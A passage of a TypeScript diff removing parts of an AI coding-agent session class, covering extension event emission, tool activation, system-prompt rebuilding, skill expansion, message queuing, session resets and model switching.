=== "string") return content; - const textBlocks = content.filter((c) => c.type === "text"); - return textBlocks.map((c) => (c as TextContent).text).join(""); - } - - /** Find the last assistant message in agent state (including aborted ones) */ - private _findLastAssistantMessage(): AssistantMessage | undefined { - const messages = this.agent.state.messages; - for (let i = messages.length - 1; i >= 0; i--) { - const msg = messages[i]; - if (msg.role === "assistant") { - return msg as AssistantMessage; - } - } - return undefined; - } - - /** Emit extension events based on agent events */ - private async _emitExtensionEvent(event: AgentEvent): Promise { - const extensionRunner = this._extensionRunner; - if (!extensionRunner) return; - - if (event.type === "agent_start") { - this._turnIndex = 0; - await extensionRunner.emit({ type: "agent_start" }); - } else if (event.type === "agent_end") { - this._processingAgentEnd = true; - try { - await extensionRunner.emit({ - type: "agent_end", - messages: event.messages, - }); - } finally { - this._processingAgentEnd = false; - } - } else if (event.type === "turn_start") { - const extensionEvent: TurnStartEvent = { - type: "turn_start", - turnIndex: this._turnIndex, - timestamp: Date.now(), - }; - await extensionRunner.emit(extensionEvent); - } else if (event.type === "turn_end") { - const extensionEvent: TurnEndEvent = { - type: "turn_end", - turnIndex: this._turnIndex, - message: event.message, - toolResults: event.toolResults, - }; - await extensionRunner.emit(extensionEvent); - this._turnIndex++; - } else if (event.type === "message_start") { - const extensionEvent: MessageStartEvent = { - type: "message_start", - message: event.message, - }; - await extensionRunner.emit(extensionEvent); - } else if (event.type === "message_update") { - const extensionEvent: MessageUpdateEvent = { - type: "message_update", - message: event.message, - assistantMessageEvent: event.assistantMessageEvent, - }; - await extensionRunner.emit(extensionEvent); - } else if (event.type === "message_end") { - const extensionEvent: MessageEndEvent = { - type: "message_end", - message: event.message, - }; - await extensionRunner.emit(extensionEvent); - } else if (event.type === "tool_execution_start") { - const extensionEvent: ToolExecutionStartEvent = { - type: "tool_execution_start", - toolCallId: event.toolCallId, - toolName: event.toolName, - args: event.args, - }; - await extensionRunner.emit(extensionEvent); - } else if (event.type === "tool_execution_update") { - const extensionEvent: ToolExecutionUpdateEvent = { - type: "tool_execution_update", - toolCallId: event.toolCallId, - toolName: event.toolName, - args: event.args, - partialResult: event.partialResult, - }; - await extensionRunner.emit(extensionEvent); - } else if (event.type === "tool_execution_end") { - const extensionEvent: ToolExecutionEndEvent = { - type: "tool_execution_end", - toolCallId: event.toolCallId, - toolName: event.toolName, - result: event.result, - isError: event.isError, - }; - await extensionRunner.emit(extensionEvent); - } - } - - /** - * Subscribe to agent events. - * Session persistence is handled internally (saves messages on message_end). - * Multiple listeners can be added. Returns unsubscribe function for this listener. - */ - subscribe(listener: AgentSessionEventListener): () => void { - this._eventListeners.push(listener); - - // Return unsubscribe function for this specific listener - return () => { - const index = this._eventListeners.indexOf(listener); - if (index !== -1) { - this._eventListeners.splice(index, 1); - } - }; - } - - /** - * Temporarily disconnect from agent events. - * User listeners are preserved and will receive events again after resubscribe(). - * Used internally during operations that need to pause event processing. - */ - private _disconnectFromAgent(): void { - if (this._unsubscribeAgent) { - this._unsubscribeAgent(); - this._unsubscribeAgent = undefined; - } - } - - /** - * Reconnect to agent events after _disconnectFromAgent(). - * Preserves all existing listeners. - */ - private _reconnectToAgent(): void { - if (this._unsubscribeAgent) return; // Already connected - this._unsubscribeAgent = this.agent.subscribe(this._handleAgentEvent); - } - - /** - * Remove all listeners and disconnect from agent. - * Call this when completely done with the session. - */ - dispose(): void { - this._extensionErrorUnsubscriber?.(); - this._extensionErrorUnsubscriber = undefined; - this._disconnectFromAgent(); - this._eventListeners = []; - } - - // ========================================================================= - // Read-only State Access - // ========================================================================= - - /** Full agent state */ - get state(): AgentState { - return this.agent.state; - } - - /** Current model (may be undefined if not yet selected) */ - get model(): Model | undefined { - return this.agent.state.model; - } - - /** Current thinking level */ - get thinkingLevel(): ThinkingLevel { - return this.agent.state.thinkingLevel; - } - - /** Whether agent is currently streaming a response */ - get isStreaming(): boolean { - return this.agent.state.isStreaming; - } - - /** Current effective system prompt (includes any per-turn extension modifications) */ - get systemPrompt(): string { - return this.agent.state.systemPrompt; - } - - /** Current retry attempt (0 if not retrying) */ - get retryAttempt(): number { - return this._retryHandler.retryAttempt; - } - - /** - * Get the names of currently active tools. - * Returns the names of tools currently set on the agent. - */ - getActiveToolNames(): string[] { - return this.agent.state.tools.map((t) => t.name); - } - - /** - * Get all configured tools with name, description, and parameter schema. - */ - getAllTools(): ToolInfo[] { - return Array.from(this._toolRegistry.values()).map((t) => ({ - name: t.name, - description: t.description, - parameters: t.parameters, - })); - } - - /** - * Set active tools by name. - * Only tools in the registry can be enabled. Unknown tool names are ignored. - * Also rebuilds the system prompt to reflect the new tool set. - * Changes take effect on the next agent turn. - */ - setActiveToolsByName(toolNames: string[]): void { - const requestedToolNames = [ - ...new Set([...toolNames, ...this._getBuiltinToolNames()]), - ]; - const tools: AgentTool[] = []; - const validToolNames: string[] = []; - for (const name of requestedToolNames) { - const tool = this._toolRegistry.get(name); - if (tool) { - tools.push(tool); - validToolNames.push(name); - } - } - this.agent.setTools(tools); - - // Rebuild base system prompt with new tool set - this._baseSystemPrompt = this._rebuildSystemPrompt(validToolNames); - this.agent.setSystemPrompt(this._baseSystemPrompt); - } - - /** Whether compaction or branch summarization is currently running */ - get isCompacting(): boolean { - return this._compactionOrchestrator.isCompacting; - } - - /** - * Switch edit mode between standard (text-match) and hashline (LINE#ID anchors). - * Swaps the active read/edit tools and rebuilds the system prompt. - */ - setEditMode(mode: "standard" | "hashline"): void { - this.settingsManager.setEditMode(mode); - - // Get current active tool registry keys - const currentKeys = new Set(); - for (const [key, tool] of this._toolRegistry.entries()) { - if (this.agent.state.tools.includes(tool)) { - currentKeys.add(key); - } - } - - // Swap read tools - if (mode === "hashline") { - currentKeys.delete("read"); - currentKeys.add("hashline_read"); - currentKeys.delete("edit"); - currentKeys.add("hashline_edit"); - } else { - currentKeys.delete("hashline_read"); - currentKeys.add("read"); - currentKeys.delete("hashline_edit"); - currentKeys.add("edit"); - } - - this.setActiveToolsByName([...currentKeys]); - } - - /** Current edit mode */ - get editMode(): "standard" | "hashline" { - return this.settingsManager.getEditMode(); - } - - /** All messages including custom types like BashExecutionMessage */ - get messages(): AgentMessage[] { - return this.agent.state.messages; - } - - /** Current steering mode */ - get steeringMode(): "all" | "one-at-a-time" { - return this.agent.getSteeringMode(); - } - - /** Current follow-up mode */ - get followUpMode(): "all" | "one-at-a-time" { - return this.agent.getFollowUpMode(); - } - - /** Current session file path, or undefined if sessions are disabled */ - get sessionFile(): string | undefined { - return this.sessionManager.getSessionFile(); - } - - /** Current session ID */ - get sessionId(): string { - return this.sessionManager.getSessionId(); - } - - /** Current session display name, if set */ - get sessionName(): string | undefined { - return this.sessionManager.getSessionName(); - } - - /** Scoped models for cycling (from --models flag) */ - get scopedModels(): ReadonlyArray<{ - model: Model; - thinkingLevel?: ThinkingLevel; - }> { - return this._scopedModels; - } - - /** Update scoped models for cycling */ - setScopedModels( - scopedModels: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>, - ): void { - this._scopedModels = scopedModels; - } - - /** File-based prompt templates */ - get promptTemplates(): ReadonlyArray { - return this._resourceLoader.getPrompts().prompts; - } - - private _normalizePromptSnippet( - text: string | undefined, - ): string | undefined { - if (!text) return undefined; - const oneLine = text - .replace(/[\r\n]+/g, " ") - .replace(/\s+/g, " ") - .trim(); - return oneLine.length > 0 ? oneLine : undefined; - } - - private _normalizePromptGuidelines( - guidelines: string[] | undefined, - ): string[] { - if (!guidelines || guidelines.length === 0) { - return []; - } - - const unique = new Set(); - for (const guideline of guidelines) { - const normalized = guideline.trim(); - if (normalized.length > 0) { - unique.add(normalized); - } - } - return Array.from(unique); - } - - private _findSkillByName(skillName: string) { - return this.resourceLoader - .getSkills() - .skills.find((skill) => skill.name === skillName); - } - - private _formatMissingSkillMessage(skillName: string): string { - const availableSkills = - this.resourceLoader - .getSkills() - .skills.map((skill) => skill.name) - .join(", ") || "(none)"; - return `Skill "${skillName}" not found. Available skills: ${availableSkills}`; - } - - private _emitSkillExpansionError(skillFilePath: string, err: unknown): void { - this._extensionRunner?.emitError({ - extensionPath: skillFilePath, - event: "skill_expansion", - error: getErrorMessage(err), - }); - } - - private _renderSkillInvocation( - skill: { name: string; filePath: string; baseDir: string }, - args?: string, - ): string { - const content = readFileSync(skill.filePath, "utf-8"); - const body = stripFrontmatter(content).trim(); - const skillBlock = `\nReferences are relative to ${skill.baseDir}.\n\n${body}\n`; - return args && args.trim() ? `${skillBlock}\n\n${args.trim()}` : skillBlock; - } - - private _expandSkillByName(skillName: string, args?: string): string { - const skill = this._findSkillByName(skillName); - if (!skill) { - throw new Error(this._formatMissingSkillMessage(skillName)); - } - - try { - return this._renderSkillInvocation(skill, args); - } catch (err) { - this._emitSkillExpansionError(skill.filePath, err); - throw err; - } - } - - private _formatSkillInvocation(skillName: string, args?: string): string { - return this._expandSkillByName(skillName, args); - } - - private _rebuildSystemPrompt(toolNames: string[]): string { - const validToolNames = toolNames.filter((name) => - this._toolRegistry.has(name), - ); - const toolSnippets: Record = {}; - const promptGuidelines: string[] = []; - for (const name of validToolNames) { - const snippet = this._toolPromptSnippets.get(name); - if (snippet) { - toolSnippets[name] = snippet; - } - - const toolGuidelines = this._toolPromptGuidelines.get(name); - if (toolGuidelines) { - promptGuidelines.push(...toolGuidelines); - } - } - - const loaderSystemPrompt = this._resourceLoader.getSystemPrompt(); - const loaderAppendSystemPrompt = - this._resourceLoader.getAppendSystemPrompt(); - const appendSystemPrompt = - loaderAppendSystemPrompt.length > 0 - ? loaderAppendSystemPrompt.join("\n\n") - : undefined; - const loadedSkills = this._resourceLoader.getSkills().skills; - const loadedContextFiles = - this._resourceLoader.getAgentsFiles().agentsFiles; - - return buildSystemPrompt({ - cwd: this._cwd, - skills: loadedSkills, - contextFiles: loadedContextFiles, - customPrompt: loaderSystemPrompt, - appendSystemPrompt, - selectedTools: validToolNames, - toolSnippets, - promptGuidelines, - }); - } - - // ========================================================================= - // Prompting - // ========================================================================= - - /** - * Send a prompt to the agent. - * - Handles extension commands (registered via pi.registerCommand) immediately, even during streaming - * - Expands file-based prompt templates by default - * - During streaming, queues via steer() or followUp() based on streamingBehavior option - * - Validates model and API key before sending (when not streaming) - * @throws Error if streaming and no streamingBehavior specified - * @throws Error if no model selected or no API key available (when not streaming) - */ - async prompt(text: string, options?: PromptOptions): Promise { - const expandPromptTemplates = options?.expandPromptTemplates ?? true; - - // Handle extension commands first (execute immediately, even during streaming) - // Extension commands manage their own LLM interaction via pi.sendMessage() - if (expandPromptTemplates && text.startsWith("/")) { - const handled = await this._tryExecuteExtensionCommand(text); - if (handled) { - // Extension command executed, no prompt to send - return; - } - } - - // Emit input event for extension interception (before skill/template expansion) - let currentText = text; - let currentImages = options?.images; - if (this._extensionRunner?.hasHandlers("input")) { - const inputResult = await this._extensionRunner.emitInput( - currentText, - currentImages, - options?.source ?? "interactive", - ); - if (inputResult.action === "handled") { - return; - } - if (inputResult.action === "transform") { - currentText = inputResult.text; - currentImages = inputResult.images ?? currentImages; - } - } - - // Expand skill commands (/skill:name args) and prompt templates (/template args) - let expandedText = currentText; - if (expandPromptTemplates) { - expandedText = this._expandSkillCommand(expandedText); - expandedText = expandPromptTemplate(expandedText, [ - ...this.promptTemplates, - ]); - } - - // If streaming, queue via steer() or followUp() based on option. - // Default to followUp when no streamingBehavior is given — this covers - // user prompts that arrive while a system-triggered turn (e.g. autonomous - // dispatch at startup) is already running. The user's message queues as - // a clean new turn after the current one finishes, not steered into it. - if (this.isStreaming) { - if (options?.streamingBehavior === "steer") { - await this._queueSteer(expandedText, currentImages); - } else { - await this._queueFollowUp(expandedText, currentImages); - } - return; - } - - // Flush any pending bash messages before the new prompt - this._flushPendingBashMessages(); - - // Validate model - if (!this.model) { - throw new Error( - "No model selected.\n\n" + - `Use /login or set an API key environment variable. See ${join(getDocsPath(), "providers.md")}\n\n` + - "Then use /model to select a model.", - ); - } - - // Check if a higher-priority provider in the fallback chain has recovered - const restoration = await this._fallbackResolver.checkForRestoration( - this.model, - ); - if (restoration) { - const previousProvider = `${this.model.provider}/${this.model.id}`; - this.agent.setModel(restoration.model); - this.sessionManager.appendModelChange( - restoration.model.provider, - restoration.model.id, - ); - this._emit({ - type: "fallback_provider_restored", - provider: `${restoration.model.provider}/${restoration.model.id}`, - reason: `Restored from ${previousProvider}`, - }); - } - - // Validate provider readiness - if (!this._modelRegistry.isProviderRequestReady(this.model.provider)) { - const isOAuth = this._modelRegistry.isUsingOAuth(this.model); - if (isOAuth) { - throw new Error( - `Authentication failed for "${this.model.provider}". ` + - `Credentials may have expired or network is unavailable. ` + - `Run '/login ${this.model.provider}' to re-authenticate.`, - ); - } - throw new Error( - `No API key found for ${this.model.provider}.\n\n` + - `Use /login or set an API key environment variable. See ${join(getDocsPath(), "providers.md")}`, - ); - } - - // Check if we need to compact before sending (catches aborted responses) - const lastAssistant = this._findLastAssistantMessage(); - if (lastAssistant) { - await this._compactionOrchestrator.checkCompaction(lastAssistant, false); - } - - // Build messages array (custom message if any, then user message) - const messages: AgentMessage[] = []; - - // Add user message - const userContent: (TextContent | ImageContent)[] = [ - { type: "text", text: expandedText }, - ]; - if (currentImages) { - userContent.push(...currentImages); - } - messages.push({ - role: "user", - content: userContent, - timestamp: Date.now(), - }); - - // Inject any pending "nextTurn" messages as context alongside the user message - for (const msg of this._pendingNextTurnMessages) { - messages.push(msg); - } - this._pendingNextTurnMessages = []; - - // Emit before_agent_start extension event - if (this._extensionRunner) { - const result = await this._extensionRunner.emitBeforeAgentStart( - expandedText, - currentImages, - this._baseSystemPrompt, - ); - // Add all custom messages from extensions - if (result?.messages) { - for (const msg of result.messages) { - messages.push({ - role: "custom", - customType: msg.customType, - content: msg.content, - display: msg.display, - details: msg.details, - timestamp: Date.now(), - }); - } - } - // Apply extension-modified system prompt, or reset to base - if (result?.systemPrompt) { - this.agent.setSystemPrompt(result.systemPrompt); - } else { - // Ensure we're using the base prompt (in case previous turn had modifications) - this.agent.setSystemPrompt(this._baseSystemPrompt); - } - } - - await this.agent.prompt(messages); - await this._retryHandler.waitForRetry(); - } - - /** - * Try to execute an extension command. Returns true if command was found and executed. - */ - private async _tryExecuteExtensionCommand(text: string): Promise { - if (!this._extensionRunner) return false; - - // Parse command name and args - const spaceIndex = text.indexOf(" "); - const commandName = - spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); - const args = spaceIndex === -1 ? "" : text.slice(spaceIndex + 1); - - const command = this._extensionRunner.getCommand(commandName); - if (!command) return false; - - // Get command context from extension runner (includes session control methods) - const ctx = this._extensionRunner.createCommandContext(); - - try { - await command.handler(args, ctx); - return true; - } catch (err) { - // Emit error via extension runner - this._extensionRunner.emitError({ - extensionPath: `command:${commandName}`, - event: "command", - error: getErrorMessage(err), - }); - return true; - } - } - - /** - * Expand skill commands (/skill:name args) to their full content. - * Returns the expanded text, or the original text if not a skill command or skill not found. - * Emits errors via extension runner if file read fails. - */ - private _expandSkillCommand(text: string): string { - if (!text.startsWith("/skill:")) return text; - - const spaceIndex = text.indexOf(" "); - const skillName = - spaceIndex === -1 ? text.slice(7) : text.slice(7, spaceIndex); - const args = spaceIndex === -1 ? "" : text.slice(spaceIndex + 1).trim(); - - if (!this._findSkillByName(skillName)) return text; - - try { - return this._formatSkillInvocation(skillName, args); - } catch { - return text; - } - } - - private _createBuiltInSkillTool(): AgentTool { - const skillSchema = Type.Object({ - skill: Type.String({ - description: "The skill name. E.g., 'commit', 'review-pr', or 'pdf'", - }), - args: Type.Optional( - Type.String({ description: "Optional arguments for the skill" }), - ), - }); - - return { - name: "Skill", - label: "Skill", - description: - "Execute a skill within the main conversation. Use this tool when users ask for a slash command or reference a skill by name. Returns the expanded skill block and appends args after it.", - parameters: skillSchema, - execute: async (_toolCallId, params: unknown) => { - const input = params as { skill: string; args?: string }; - try { - return { - content: [ - { - type: "text", - text: this._expandSkillByName(input.skill, input.args), - }, - ], - details: undefined, - }; - } catch (err) { - return { - content: [{ type: "text", text: getErrorMessage(err) }], - details: undefined, - }; - } - }, - }; - } - - private _getBuiltinToolNames(): string[] { - return this._getBuiltinTools().map((tool) => tool.name); - } - - private _getBuiltinTools(): AgentTool[] { - return [this._createBuiltInSkillTool()]; - } - - private _getRegisteredToolDefinitions(): ToolDefinition[] { - const registeredTools = - this._extensionRunner?.getAllRegisteredTools() ?? []; - return registeredTools.map((tool) => tool.definition); - } - - private _getBuiltinToolDefinitions(): ToolDefinition[] { - return this._getBuiltinTools().map((tool) => ({ - name: tool.name, - label: tool.label, - description: tool.description, - parameters: tool.parameters, - execute: async () => ({ content: [], details: undefined }), - })); - } - - getRenderableToolDefinition(toolName: string): ToolDefinition | undefined { - const normalizedToolName = toolName.toLowerCase(); - return [ - ...this._getBuiltinToolDefinitions(), - ...this._getRegisteredToolDefinitions(), - ].find((tool) => tool.name.toLowerCase() === normalizedToolName); - } - - /** - * Queue a steering message for the agent mid-run. - * Delivered after the current tool batch at the next safe LLM turn. - * Expands skill commands and prompt templates. Errors on extension commands. - * @param images Optional image attachments to include with the message - * @throws Error if text is an extension command - */ - async steer(text: string, images?: ImageContent[]): Promise { - // Check for extension commands (cannot be queued) - if (text.startsWith("/")) { - this._throwIfExtensionCommand(text); - } - - // Expand skill commands and prompt templates - let expandedText = this._expandSkillCommand(text); - expandedText = expandPromptTemplate(expandedText, [ - ...this.promptTemplates, - ]); - - await this._queueSteer(expandedText, images); - } - - /** - * Queue a follow-up message to be processed after the agent finishes. - * Delivered only when agent has no more tool calls or steering messages. - * Expands skill commands and prompt templates. Errors on extension commands. - * @param images Optional image attachments to include with the message - * @throws Error if text is an extension command - */ - async followUp(text: string, images?: ImageContent[]): Promise { - // Check for extension commands (cannot be queued) - if (text.startsWith("/")) { - this._throwIfExtensionCommand(text); - } - - // Expand skill commands and prompt templates - let expandedText = this._expandSkillCommand(text); - expandedText = expandPromptTemplate(expandedText, [ - ...this.promptTemplates, - ]); - - await this._queueFollowUp(expandedText, images); - } - - /** - * Internal: Queue a steering message (already expanded, no extension command check). - */ - private async _queueSteer( - text: string, - images?: ImageContent[], - ): Promise { - this._steeringMessages.push(text); - const content: (TextContent | ImageContent)[] = [{ type: "text", text }]; - if (images) { - content.push(...images); - } - this.agent.steer( - { - role: "user", - content, - timestamp: Date.now(), - }, - "user", - ); - } - - /** - * Internal: Queue a follow-up message (already expanded, no extension command check). - */ - private async _queueFollowUp( - text: string, - images?: ImageContent[], - ): Promise { - this._followUpMessages.push(text); - const content: (TextContent | ImageContent)[] = [{ type: "text", text }]; - if (images) { - content.push(...images); - } - this.agent.followUp( - { - role: "user", - content, - timestamp: Date.now(), - }, - "user", - ); - } - - /** - * Throw an error if the text is an extension command. - */ - private _throwIfExtensionCommand(text: string): void { - if (!this._extensionRunner) return; - - const spaceIndex = text.indexOf(" "); - const commandName = - spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); - const command = this._extensionRunner.getCommand(commandName); - - if (command) { - throw new Error( - `Extension command "/${commandName}" cannot be queued. Use prompt() or execute the command when not streaming.`, - ); - } - } - - /** - * Send a custom message to the session. Creates a CustomMessageEntry. - * - * Handles three cases: - * - Streaming: queues message, processed when loop pulls from queue - * - Not streaming + triggerTurn: appends to state/session, starts new turn - * - Not streaming + no trigger: appends to state/session, no turn - * - * @param message Custom message with customType, content, display, details - * @param options.triggerTurn If true and not streaming, triggers a new LLM turn - * @param options.deliverAs Delivery mode: "steer", "followUp", or "nextTurn" - */ - async sendCustomMessage( - message: Pick< - CustomMessage, - "customType" | "content" | "display" | "details" - >, - options?: { - triggerTurn?: boolean; - deliverAs?: "steer" | "followUp" | "nextTurn"; - }, - ): Promise { - const appMessage = { - role: "custom" as const, - customType: message.customType, - content: message.content, - display: message.display, - details: message.details, - timestamp: Date.now(), - } satisfies CustomMessage; - if (options?.deliverAs === "nextTurn") { - this._pendingNextTurnMessages.push(appMessage); - } else if (this.isStreaming) { - if (options?.deliverAs === "followUp") { - this.agent.followUp(appMessage); - } else { - this.agent.steer(appMessage); - } - } else if (options?.triggerTurn) { - try { - await this.agent.prompt(appMessage); - } catch (error) { - if (!isAgentAlreadyProcessingError(error)) { - throw error; - } - if (options?.deliverAs === "followUp") { - this.agent.followUp(appMessage); - } else { - this.agent.steer(appMessage); - } - } - } else { - this.agent.appendMessage(appMessage); - this.sessionManager.appendCustomMessageEntry( - message.customType, - message.content, - message.display, - message.details, - ); - this._emit({ type: "message_start", message: appMessage }); - this._emit({ type: "message_end", message: appMessage }); - } - } - - /** - * Send a user message to the agent. Always triggers a turn. - * When the agent is streaming, use deliverAs to specify how to queue the message. - * - * @param content User message content (string or content array) - * @param options.deliverAs Delivery mode when streaming: "steer" or "followUp" - */ - async sendUserMessage( - content: string | (TextContent | ImageContent)[], - options?: { deliverAs?: "steer" | "followUp" }, - ): Promise { - // Normalize content to text string + optional images - let text: string; - let images: ImageContent[] | undefined; - - if (typeof content === "string") { - text = content; - } else { - const textParts: string[] = []; - images = []; - for (const part of content) { - if (part.type === "text") { - textParts.push(part.text); - } else { - images.push(part); - } - } - text = textParts.join("\n"); - if (images.length === 0) images = undefined; - } - - // Use prompt() with expandPromptTemplates: false to skip command handling and template expansion - await this.prompt(text, { - expandPromptTemplates: false, - streamingBehavior: options?.deliverAs, - images, - source: "extension", - }); - } - - /** - * Clear all queued messages and return them. - * Useful for restoring to editor when user aborts. - * @returns Object with steering and followUp arrays - */ - clearQueue(): { steering: string[]; followUp: string[] } { - // Drain user-origin messages from agent queues before clearing. - // This preserves messages the user explicitly typed during streaming, - // while system-generated messages (extension notifications, etc.) are discarded. - const userMessages = this.agent.drainUserMessages(); - - // Extract text content from preserved user messages - const extractText = (m: AgentMessage): string => { - if (!("content" in m) || !Array.isArray(m.content)) return ""; - const textPart = m.content.find( - (c: { type: string }) => c.type === "text", - ); - return textPart && "text" in textPart - ? (textPart as { text: string }).text - : ""; - }; - const preservedSteering = userMessages.steering - .map(extractText) - .filter((t) => t.length > 0); - const preservedFollowUp = userMessages.followUp - .map(extractText) - .filter((t) => t.length > 0); - - // Session-level string arrays track what was queued for display purposes. - // Return the full set (session-tracked + any agent-only user messages). - const steering = [...this._steeringMessages, ...preservedSteering]; - const followUp = [...this._followUpMessages, ...preservedFollowUp]; - this._steeringMessages = []; - this._followUpMessages = []; - - // Clear remaining system messages from agent queues - this.agent.clearAllQueues(); - return { steering, followUp }; - } - - /** Number of pending messages (includes both steering and follow-up) */ - get pendingMessageCount(): number { - return this._steeringMessages.length + this._followUpMessages.length; - } - - /** Get pending steering messages (read-only) */ - getSteeringMessages(): readonly string[] { - return this._steeringMessages; - } - - /** Get pending follow-up messages (read-only) */ - getFollowUpMessages(): readonly string[] { - return this._followUpMessages; - } - - get resourceLoader(): ResourceLoader { - return this._resourceLoader; - } - - /** - * Abort current operation and wait for agent to become idle. - */ - async abort(): Promise { - this._retryHandler.abortRetry(); - this.agent.abort(); - await this.agent.waitForIdle(); - // Ensure agent_end is emitted even when abort interrupts a tool call (#1414). - // The agent may go idle without emitting agent_end if the abort happens - // between tool execution and response processing. - if (!this.isStreaming && this._extensionRunner) { - const wasProcessingAgentEnd = this._processingAgentEnd; - this._processingAgentEnd = true; - try { - // Track that a session switch started during agent_end: - // _processingQueuedAgentEnd is set by _processAgentEvent for queued - // agent_end emission. If it is still true here, abort() was called - // from a session switch that fired during agent_end handling — - // post-handlers must bail. - if (this._processingQueuedAgentEnd) { - this._sessionTransitionStartedDuringAgentEnd = true; - } - await this._extensionRunner.emit({ - type: "agent_end", - messages: this.agent.state.messages, - }); - } finally { - this._processingAgentEnd = wasProcessingAgentEnd; - } - } - } - - /** - * Start a new session, optionally with initial messages and parent tracking. - * Clears all messages and starts a new session. - * Listeners are preserved and will continue receiving events. - * @param options.parentSession - Optional parent session path for tracking - * @param options.setup - Optional callback to initialize session (e.g., append messages) - * @returns true if completed, false if cancelled by extension - */ - async newSession(options?: { - parentSession?: string; - setup?: (sessionManager: SessionManager) => Promise; - }): Promise { - const previousSessionFile = this.sessionFile; - - // Emit session_before_switch event with reason "new" (can be cancelled) - if (this._extensionRunner?.hasHandlers("session_before_switch")) { - const result = (await this._extensionRunner.emit({ - type: "session_before_switch", - reason: "new", - })) as SessionBeforeSwitchResult | undefined; - - if (result?.cancel) { - return false; - } - } - - this._sessionSwitchPending = true; - try { - this._disconnectFromAgent(); - await this.abort(); - this.agent.reset(); - } finally { - this._sessionSwitchPending = false; - } - // Update cwd to current process directory — autonomous mode may have chdir'd - // into a worktree since the original session was created. - const previousCwd = this._cwd; - this._cwd = process.cwd(); - this.sessionManager.newSession({ parentSession: options?.parentSession }); - this.agent.sessionId = this.sessionManager.getSessionId(); - this._steeringMessages = []; - this._followUpMessages = []; - this._pendingNextTurnMessages = []; - - this.sessionManager.appendThinkingLevelChange(this.thinkingLevel); - - // Rebuild tools when cwd changed (e.g., autonomous mode entered a worktree). - // Tools capture cwd at creation time for path resolution — without - // rebuilding, write/read/edit/bash resolve relative paths against - // the original project root instead of the worktree (#633). - if (this._cwd !== previousCwd) { - this._buildRuntime({ - activeToolNames: this.getActiveToolNames(), - includeAllExtensionTools: true, - }); - } else { - // Even when cwd hasn't changed, restore the full tool set (#3616). - // Extensions (e.g., discuss flows) may narrow the active tool list - // via setActiveTools() during a session. Without this refresh, the - // narrowed set persists into the next session — causing tools like - // sf_plan_slice to be missing from autonomous mode subagent sessions. - this._refreshToolRegistry({ - activeToolNames: this.getActiveToolNames(), - includeAllExtensionTools: true, - }); - } - - // Run setup callback if provided (e.g., to append initial messages) - if (options?.setup) { - await options.setup(this.sessionManager); - // Sync agent state with session manager after setup - const sessionContext = this.sessionManager.buildSessionContext(); - this.agent.replaceMessages(sessionContext.messages); - } - - this._reconnectToAgent(); - - // Emit session_switch event with reason "new" to extensions - if (this._extensionRunner) { - await this._extensionRunner.emit({ - type: "session_switch", - reason: "new", - previousSessionFile, - }); - } - - // Emit session event to custom tools - this._emitSessionStateChanged("new_session"); - return true; - } - - // ========================================================================= - // Model Management - // ========================================================================= - - private async _emitModelSelect( - nextModel: Model, - previousModel: Model | undefined, - source: "set" | "cycle" | "restore", - ): Promise { - if (!this._extensionRunner) return; - if (modelsAreEqual(previousModel, nextModel)) return; - await this._extensionRunner.emit({ - type: "model_select", - model: nextModel, - previousModel, - source, - }); - } - - /** - * Apply a model change: set the model on the agent, persist to session/settings, - * re-clamp thinking level, and emit the model_select event. - */ - private async _applyModelChange( - model: Model, - thinkingLevel: ThinkingLevel, - source: "set" | "cycle" | "restore", - options?: { persist?: boolean }, - ): Promise { - const previousModel = this.model; - // Explicit model switches must cancel any in-flight retry loop from the - // previous provider/model. Otherwise stale provider backoff errors can - // continue to land after the user or runtime has already switched models. - this._retryHandler.abortRetry(); - this.agent.setModel(model); - this.sessionManager.appendModelChange(model.provider, model.id); - if (options?.persist !== false && this._persistModelChanges) { - this.settingsManager.setDefaultModelAndProvider(model.provider, model.id); - } - this.setThinkingLevel(thinkingLevel); - await this._emitModelSelect(model, previousModel, source); - this._emitSessionStateChanged("set_model"); - } - - /** - * Set model directly. - * Validates provider readiness, saves to session and settings. - * @throws Error if provider is not ready (missing credentials for apiKey/oauth providers) - */ - async setModel( - model: Model, - options?: { persist?: boolean }, - ): Promise { - if (!this._modelRegistry.isProviderRequestReady(model.provider)) { - throw new Error(`No API key for ${model.provider}/${model.id}`); - } - - const thinkingLevel = this._getThinkingLevelForModelSwitch(); - await this._applyModelChange(model, thinkingLevel, "set", options); - } - - /** - * Cycle to next/previous model. - * Uses scoped models (from --models flag) if available, otherwise all available models. - * @param direction - "forward" (default) or "backward" - * @returns The new model info, or undefined if only one model available - */ - async cycleModel( - direction: "forward" | "backward" = "forward", - options?: { persist?: boolean }, - ): Promise { - if (this._scopedModels.length > 0) { - return this._cycleScopedModel(direction, options); - } - return this._cycleAvailableModel(direction, options); - } - - private _getReadyScopedModels(): Array<{ - model: Model; - thinkingLevel?: ThinkingLevel; - }> { - return this._scopedModels.filter((scoped) => - this._modelRegistry.isProviderRequestReady(scoped.model.provider), - ); - } - - private async _cycleScopedModel( - direction: "forward" | "backward", - options?: { persist?: boolean }, - ): Promise { - const scopedModels = this._getReadyScopedModels(); - if (scopedModels.length <= 1) return undefined; - - const currentModel = this.model; - let currentIndex = scopedModels.findIndex((sm) => - modelsAreEqual(sm.model, currentModel), - ); - - if (currentIndex === -1) currentIndex = 0; - const len = scopedModels.length; - const nextIndex = - direction === "forward" - ? (currentIndex + 1) % len - : (currentIndex - 1 + len) % len; - const next = scopedModels[nextIndex]; - - // Explicit scoped model thinking level overrides current session level; - // undefined scoped model thinking level inherits the current session preference. - const thinkingLevel = this._getThinkingLevelForModelSwitch( - next.thinkingLevel, - ); - await this._applyModelChange(next.model, thinkingLevel, "cycle", options); - - return { - model: next.model, - thinkingLevel: this.thinkingLevel, - isScoped: true, - }; - } - - private async _cycleAvailableModel( - direction: "forward" | "backward", - options?: { persist?: boolean }, - ): Promise { - const availableModels = await this._modelRegistry.getAvailable(); - if (availableModels.length <= 1) return undefined; - - const currentModel = this.model; - let currentIndex = availableModels.findIndex((m) => - modelsAreEqual(m, currentModel), - ); - - if (currentIndex === -1) currentIndex = 0; - const len = availableModels.length; - const nextIndex = - direction === "forward" - ? (currentIndex + 1) % len - : (currentIndex - 1 + len) % len; - const nextModel = availableModels[nextIndex]; - - const thinkingLevel = this._getThinkingLevelForModelSwitch(); - await this._applyModelChange(nextModel, thinkingLevel, "cycle", options); - - return { - model: nextModel, - thinkingLevel: this.thinkingLevel, - isScoped: false, - }; - } - - // ========================================================================= - // Thinking Level Management - // ========================================================================= - - /** - * Set thinking level. - * Clamps to model capabilities based on available thinking levels. - * Saves to session and settings only 